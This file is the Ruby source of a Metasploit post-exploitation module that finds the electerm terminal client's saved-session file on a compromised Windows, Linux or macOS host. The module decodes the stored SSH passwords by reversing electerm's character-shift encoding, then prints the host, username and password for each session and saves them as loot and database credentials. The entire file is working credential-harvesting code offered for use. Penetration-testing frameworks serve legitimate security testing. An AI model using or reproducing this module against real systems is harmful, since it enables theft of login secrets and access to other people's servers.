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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'json'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Gather electerm Passwords',
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        'Description' => %q{
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          This module will determine if electerm is installed on the target system and, if it is, it will try to
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          dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
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          where possible.
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        },
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ]
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        ],
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        'Author' => ['Kali-Team <kali-team[at]qq.com>'],
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        'Platform' => [ 'linux', 'win', 'osx', 'unix'],
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        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
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        'Notes' => {
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          'Stability' => [],
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          'Reliability' => [],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']),
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      ]
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    )
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  end
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  # Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js
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  def dec_electrm_password(enc)
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    result = enc.chars.map.with_index do |s, i|
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      ((s.ord - i - 1 + 65536) % 65536).chr
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    end.join
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    return result
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  end
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  def print_and_save(all_result)
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    pw_tbl = Rex::Text::Table.new(
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      'Header' => 'electerm Password',
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      'Columns' => [
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        'Title',
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        'Type',
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        'Host',
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        'Port',
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        'Username',
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        'Password',
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        'Description',
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      ]
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    )
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    all_result.each do |value|
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      next if !value.key?('username') || !value.key?('password')
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      row = []
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      row << value['title'] || ''
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      row << value.fetch('type', 'ssh')
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      row << value['host'] || ''
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      row << value['port'] || ''
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      row << value['username'] || ''
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      row << value['password'] || ''
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      row << value['description'] || ''
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      pw_tbl << row
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      config = {
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        type: value['type'],
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        host: value['host'],
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        port: value['port'],
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        username: value['username'],
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        password: value['password']
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      }
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      electerm_store_config(config)
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    end
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    if pw_tbl.rows.count > 0
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      path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password')
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      print_good("Passwords stored in: #{path}")
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      print_good(pw_tbl.to_s)
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    end
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  end
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  def electerm_store_config(config)
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    service_data = {
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      address: config[:host],
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      port: config[:port],
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      service_name: config[:type],
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      protocol: 'tcp',
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      workspace_id: myworkspace_id
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    }
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    credential_data = {
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      origin_type: :session,
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      session_id: session_db_id,
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      post_reference_name: refname,
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      private_type: :password,
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      private_data: config[:password],
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      username: config[:username]
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    }.merge(service_data)
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    credential_core = create_credential(credential_data)
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    login_data = {
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      core: credential_core,
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      status: Metasploit::Model::Login::Status::UNTRIED
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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  def parse_jsonlines(line)
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    result_hashmap = Hash.new
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    begin
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      result_hashmap = JSON.parse(line)
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    rescue ::JSON::ParserError => e
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      raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"
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    end
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    if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted')
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      result_hashmap['password'] = dec_electrm_password(result_hashmap['password'])
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    end
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    return result_hashmap
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  end
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  def parse_json(bookmarks_path)
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    some_result = []
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    if session.platform == 'windows'
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      bookmarks_path.gsub!('/') { '\\' }
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    end
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    begin
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      if file_exist?(bookmarks_path)
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        nedb_data = read_file(bookmarks_path) || ''
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        print_error('The file could not be read') if nedb_data.empty?
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        nedb_data.each_line do |line|
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          some_result << parse_jsonlines(line)
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        end
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        credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path)
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        print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}")
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        print_status("Finished processing #{bookmarks_path}")
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      else
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        print_error("Cannot find file #{bookmarks_path}")
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      end
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    rescue StandardError => e
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      print_error("Error when parsing #{bookmarks_path}: #{e}")
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    end
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    return some_result
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  end
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  def get_bookmarks_path
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    bookmarks_dir = ''
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    case session.platform
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    when 'windows'
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      app_data = get_env('AppData')
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      if app_data.present?
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        bookmarks_dir = app_data + '\electerm\users\default_user'
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      end
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    when 'linux', 'osx', 'unix'
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      home = get_env('HOME')
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      if home.present?
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        bookmarks_dir = home + '/.config/electerm/users/default_user'
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      end
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    end
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    bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')
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    return bookmarks_path
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  end
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  def run
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    print_status('Gather electerm Passwords')
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    all_result = []
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    bookmarks_path = ''
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    if datastore['BOOKMARKS_FILE_PATH'].present?
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      bookmarks_path = datastore['BOOKMARKS_FILE_PATH']
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      print_status("Looking for JSON files in #{bookmarks_path}")
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      all_result += parse_json(bookmarks_path)
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    end
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    if bookmarks_path.empty?
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      bookmarks_path = get_bookmarks_path
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      if !bookmarks_path.blank?
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        result = parse_json(bookmarks_path)
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        if !result.empty?
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          all_result += result
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        end
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      end
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    end
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    print_and_save(all_result)
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  end
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end
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